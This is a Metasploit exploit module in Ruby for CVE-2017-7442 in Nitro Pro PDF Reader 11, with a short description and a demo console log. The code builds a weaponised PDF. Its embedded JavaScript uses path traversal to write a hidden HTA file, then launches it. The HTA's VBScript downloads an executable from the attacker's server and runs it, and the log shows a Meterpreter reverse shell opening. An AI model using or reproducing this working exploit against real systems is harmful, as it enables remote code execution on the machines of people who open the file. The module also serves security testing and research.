This Metasploit module exploits an unsafe Javascript API implemented in Nitro and Nitro Pro PDF Reader version 11. The saveAs() Javascript API function allows for writing arbitrary files to the file system. Additionally, the launchURL() function allows an attacker to execute local files on the file system and bypass the security dialog Note: This is 100% reliable.
18ea66b3d4ade909dbf22fe503cf7764##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::FileDropper
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
def initialize(info={})
super(update_info(info,
'Name' => 'Nitro Pro PDF Reader 11.0.3.173 Javascript API Remote Code Execution',
'Description' => %q{
This module exploits an unsafe Javascript API implemented in Nitro and Nitro Pro
PDF Reader version 11. The saveAs() Javascript API function allows for writing
arbitrary files to the file system. Additionally, the launchURL() function allows
an attacker to execute local files on the file system and bypass the security dialog
Note: This is 100% reliable.
},
'License' => MSF_LICENSE,
'Author' =>
[
'mr_me <steven[at]srcincite.io>', # vulnerability discovery and exploit
'Brendan Coles <bcoles [at] gmail.com>', # hidden hta tricks!
'sinn3r' # help with msf foo!
],
'References' =>
[
[ 'CVE', '2017-7442' ],
[ 'URL', 'http://srcincite.io/advisories/src-2017-0005/' ], # public advisory #1
[ 'URL', 'https://blogs.securiteam.com/index.php/archives/3251' ], # public advisory #2 (verified and acquired by SSD)
],
'DefaultOptions' =>
{
'DisablePayloadHandler' => false
},
'Platform' => 'win',
'Targets' =>
[
# truly universal
[ 'Automatic', { } ],
],
'DisclosureDate' => 'Jul 24 2017',
'DefaultTarget' => 0))
register_options([
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
])
deregister_options('SSL', 'SSLVersion', 'SSLCert')
end
def build_vbs(url, stager_name)
name_xmlhttp = rand_text_alpha(2)
name_adodb = rand_text_alpha(2)
vbs = %Q|<head><hta:application
applicationname="#{@payload_name}"
border="none"
borderstyle="normal"
caption="false"
contextmenu="false"
icon="%SystemRoot%/Installer/{7E1360F1-8915-419A-B939-900B26F057F0}/Professional.ico"
maximizebutton="false"
minimizebutton="false"
navigable="false"
scroll="false"
selection="false"
showintaskbar="No"
sysmenu="false"
version="1.0"
windowstate="Minimize"></head>
<style>* { visibility: hidden; }</style>
<script language="VBScript">
window.resizeTo 1,1
window.moveTo -2000,-2000
</script>
<script type="text/javascript">setTimeout("window.close()", 5000);</script>
<script language="VBScript">
On Error Resume Next
Set #{name_xmlhttp} = CreateObject("Microsoft.XMLHTTP")
#{name_xmlhttp}.open "GET","http://#{url}",False
#{name_xmlhttp}.send
Set #{name_adodb} = CreateObject("ADODB.Stream")
#{name_adodb}.Open
#{name_adodb}.Type=1
#{name_adodb}.Write #{name_xmlhttp}.responseBody
#{name_adodb}.SaveToFile "C:#{@temp_folder}/#{@payload_name}.exe",2
set shellobj = CreateObject("wscript.shell")
shellobj.Run "C:#{@temp_folder}/#{@payload_name}.exe",0
</script>|
vbs.gsub!(/ /,'')
return vbs
end
def on_request_uri(cli, request)
if request.uri =~ /\.exe/
print_status("Sending second stage payload")
return if ((p=regenerate_payload(cli)) == nil)
data = generate_payload_exe( {:code=>p.encoded} )
send_response(cli, data, {'Content-Type' => 'application/octet-stream'} )
return
end
end
def exploit
# In order to save binary data to the file system the payload is written to a .vbs
# file and execute it from there.
@payload_name = rand_text_alpha(4)
@temp_folder = "/Windows/Temp"
register_file_for_cleanup("C:#{@temp_folder}/#{@payload_name}.hta")
if datastore['SRVHOST'] == '0.0.0.0'
lhost = Rex::Socket.source_address('50.50.50.50')
else
lhost = datastore['SRVHOST']
end
payload_src = lhost
payload_src << ":#{datastore['SRVPORT']}#{datastore['URIPATH']}#{@payload_name}.exe"
stager_name = rand_text_alpha(6) + ".vbs"
pdf = %Q|%PDF-1.7
4 0 obj
<<
/Length 0
>>
stream
|
pdf << build_vbs(payload_src, stager_name)
pdf << %Q|
endstream endobj
5 0 obj
<<
/Type /Page
/Parent 2 0 R
/Contents 4 0 R
>>
endobj
1 0 obj
<<
/Type /Catalog
/Pages 2 0 R
/OpenAction [ 5 0 R /Fit ]
/Names <<
/JavaScript <<
/Names [ (EmbeddedJS)
<<
/S /JavaScript
/JS (
this.saveAs('../../../../../../../../../../../../../../../..#{@temp_folder}/#{@payload_name}.hta');
app.launchURL('c$:/../../../../../../../../../../../../../../../..#{@temp_folder}/#{@payload_name}.hta');
)
>>
]
>>
>>
>>
endobj
2 0 obj
<</Type/Pages/Count 1/Kids [ 5 0 R ]>>
endobj
3 0 obj
<<>>
endobj
xref
0 6
0000000000 65535 f
0000000166 00000 n
0000000244 00000 n
0000000305 00000 n
0000000009 00000 n
0000000058 00000 n
trailer <<
/Size 6
/Root 1 0 R
>>
startxref
327
%%EOF|
pdf.gsub!(/ /,'')
file_create(pdf)
super
end
end
=begin
saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/nitro.rc
[*] Processing scripts/nitro.rc for ERB directives.
resource (scripts/nitro.rc)> use exploit/windows/fileformat/nitro_reader_jsapi
resource (scripts/nitro.rc)> set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
resource (scripts/nitro.rc)> set LHOST 172.16.175.1
LHOST => 172.16.175.1
resource (scripts/nitro.rc)> exploit
[*] Exploit running as background job.
[*] Started reverse TCP handler on 172.16.175.1:4444
msf exploit(nitro_reader_jsapi) > [+] msf.pdf stored at /Users/mr_me/.msf4/local/msf.pdf
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://192.168.100.4:8080/
[*] Server started.
[*] 192.168.100.4 nitro_reader_jsapi - Sending second stage payload
[*] Sending stage (957487 bytes) to 172.16.175.232
[*] Meterpreter session 1 opened (172.16.175.1:4444 -> 172.16.175.232:49180) at 2017-04-05 14:01:33 -0500
[+] Deleted C:/Windows/Temp/UOIr.hta
msf exploit(nitro_reader_jsapi) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > shell
Process 2412 created.
Channel 2 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\researcher\Desktop>
=end